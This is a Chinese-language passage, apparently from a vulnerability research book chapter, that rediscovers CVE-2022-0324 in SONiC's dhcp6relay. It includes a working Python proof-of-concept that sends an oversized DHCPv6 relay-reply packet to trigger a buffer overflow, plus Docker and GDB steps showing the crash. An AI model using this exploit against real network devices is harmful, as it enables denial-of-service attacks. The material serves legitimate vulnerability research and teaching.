注意 dhcpv6_relay_msg 结构体定义中带有 PACKED 属性,意味着编译器不会在成员间插入内存对齐的填充字节。否则,在不同架构(32位或64位)下,编译器可能会在 msg_typehop_count 之间插入3或7个字节的填充。

dhcpv6_relay_msg 中的 link_addresspeer_address 成员为 in6_addr 类型,该类型非 relay.h 自定义,而是 Linux 系统共享类型(详见 man7.org/linux/man-p…),包含一个长度为16字节的无符号字符数组 s6_addr[16]

确认数据结构后,回忆要满足的数据包条件,才能抵达漏洞汇点:

  • 负载解析成 dhcpv6_msg 结构体时,msg_type 成员必须等于 DHCPv6_MESSAGE_TYPE_RELAY_REPL(13)。
  • 负载中需至少包含一个紧随 dhcpv6_relay_msg 之后的 dhcpv6_option 结构体。
  • 解析为 dhcpv6_option 时,option_code 成员必须为 OPTION_RELAY_MSG(9)。

你可以利用 Python 的 socketstruct 库重构满足以上要求的字节流。特别是 struct.pack 函数,将值(字符串、整数等)转换为对应的字节表示。例如,msg_typeuint8_t(8位无符号整数),对应 struct.pack 中的格式字符 B(详细格式字符可查阅官方文档 docs.python.org/3/library/s…)。因此,你可以写:

pack("B", DHCPv6_MESSAGE_TYPE_RELAY_REPL)

其中 DHCPv6_MESSAGE_TYPE_RELAY_REPL 是常量 13,用以生成相应的包字节。按此思路,依次打包剩余结构体成员。

注意
pack 函数名与结构体定义中的 PACKED 属性虽相似,但意义不同:前者是将非字节值打包为字节表示,后者是移除结构体成员间的填充字节。

你需要做一项重要修改以触发漏洞。汇点到源点分析显示漏洞源于 option_length 过大,作为 memcpy 的大小参数,拷贝到固定4,096字节缓冲区。因此,将 option_length 设置为最大值 65,535,并在负载末尾添加溢出数据。由于 dhcp6relay 会将 option_codeoption_length 从网络字节序转换为主机字节序,请先使用 socket.htons 转换成网络字节序。其他不影响污点传播的成员,如 hop_countlink_address 可设置为默认或占位值。

发送漏洞利用包

连接之前配置的 IPv6 地址,并使用 socket 库发送构造好的数据包:

import socket
from struct import pack

UDP_IP = "2a00:7b80:451:1::10"  # 请修改为实际 IPv6 地址
UDP_PORT = 547

DHCPv6_MESSAGE_TYPE_RELAY_REPL = 13
OPTION_RELAY_MSG = 9

PAYLOAD = pack("B", DHCPv6_MESSAGE_TYPE_RELAY_REPL)  # uint8_t msg_type
PAYLOAD += pack("B", 1)                             # uint8_t hop_count
PAYLOAD += b"A" * 16                                # struct in6_addr link_address
PAYLOAD += b"A" * 16                                # struct in6_addr peer_address
PAYLOAD += pack("H", socket.htons(OPTION_RELAY_MSG))  # uint16_t option_code
PAYLOAD += pack("H", socket.htons(65535))             # uint16_t option_length
PAYLOAD += b"B" * 60000                              # 溢出数据

s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, True)
s.sendto(PAYLOAD, (UDP_IP, UDP_PORT))

集成漏洞利用脚本到容器

完成漏洞利用脚本后,停止之前运行的容器,并修改 Dockerfile,将漏洞利用脚本复制进容器:

# 复制漏洞利用脚本
COPY exploit.py /tmp/exploit.py

# 复制添加 IPv6 地址脚本
COPY add_ipv6_addresses.sh add_ipv6_addresses.sh
RUN chmod +x add_ipv6_addresses.sh

重新构建镜像并启动容器:

$ docker build -t dhcp6relay .
$ docker run -it --cap-add=NET_ADMIN --sysctl net.ipv6.conf.all.disable_ipv6=0 dhcp6relay
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./add_ipv6_addresses.sh
Stopping redis-server: redis-server.
Starting redis-server: redis-server.
(integer) 1
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay

开启第二个交互式终端,查看运行中的容器并进入:

$ docker container ls
CONTAINER ID   IMAGE        COMMAND       CREATED         STATUS         PORTS     NAMES
743a13d9862c   dhcp6relay   "/bin/bash"   7 seconds ago   Up 6 seconds             dazzling_ram

$ docker exec -it 743a13d9862c bash
root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# python3 /tmp/exploit.py

观察漏洞触发

在第一个终端执行 ./dhcp6relay,你应看到段错误(Segmentation fault):

root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# ./dhcp6relay
Segmentation fault

崩溃调试

快速定位崩溃原因,使用 GDB 调试并重放漏洞利用:

root@743a13d9862c:/sonic-buildimage/src/dhcp6relay# gdb dhcp6relay
Reading symbols from dhcp6relay...
(gdb) run
Starting program: /sonic-buildimage/src/dhcp6relay/dhcp6relay
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff785d700 (LWP 72)]

Thread 1 "dhcp6relay" received signal SIGSEGV, Segmentation fault.
parse_dhcpv6_opt (buffer=0x5555555ac605 <error: Cannot access memory at
    address 0x5555555ac605>, out_end=0x7fffffffe168) at src/relay.cpp:206
206         size += ntohs(*(uint16_t *)(buffer + 2));
(gdb) backtrace
#0  parse_dhcpv6_opt (buffer=0x5555555ac605 <error: Cannot access memory at
    address 0x5555555ac605>, out_end=0x7fffffffe168) at src/relay.cpp:206
#1  0x0000555555560a53 in relay_relay_reply (sock=13,
    msg=0x555555589200 <server_callback(int, short, void*)::message_buffer> "", len=4096,
    config=0x5555555a09e0) at src/relay.cpp:497
#2  0x0000555555561085 in server_callback (fd=12, event=2, arg=0x5555555a09e0) at
    src/relay.cpp:603
#3  0x00007ffff7f8d13f in ?? () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#4  0x00007ffff7f8d87f in event_base_loop () from /lib/x86_64-linux-gnu/libevent-2.1.so.7
#5  0x000055555556123a in signal_start () at src/relay.cpp:651
#6  0x0000555555561649 in loop_relay (vlans=0x7fffffffe4e0, db=0x7fffffffe520) at
    src/relay.cpp:744
#7  0x0000555555574b38 in main (argc=1, argv=0x7fffffffe6a8) at src/main.cpp:10

如预期,回溯显示崩溃发生在 relay_relay_reply 函数调用。虽然要将其打造为实用漏洞利用还需大量工作,但你已成功确认漏洞!这足以向开发者或评估人员证明你通过缓冲区溢出实现了攻击者可控的程序崩溃。

通过从迷宫中心(漏洞汇点)逆向追踪到攻击者可控源,发现了未被阻断的路径。发现 CVE-2022-0324 的全过程体现了汇点到源点分析策略中“筛选”的核心原则。

总结

本章中,你学习了源点到汇点分析的关键概念,并通过应用汇点到源点的分析策略,从头重新发现了漏洞 CVE-2022-0324。首先,你通过快速排除不可利用的模式,缩小了易受攻击的汇点范围。接着,聚焦可达代码路径,过滤掉了不必要的污点传播路径。在构建概念验证漏洞利用程序时,你搭建了一个隔离目标二进制文件的最小测试环境,而非构建整个操作系统。最后,你通过结构体到字节流的转换方式组装有效载荷,专注于触发漏洞的特定代码路径。这种“最小可行利用”策略有效减少了全流程中的冗余分析,确保仅做必要的工作以触发漏洞。

然而,仅发现从汇点到源点的路径还不足以确认漏洞可被利用。你还需要深入理解目标的攻击面,确保该源点在软件的典型使用场景中确实可达。下一章将带你探讨这一重要步骤。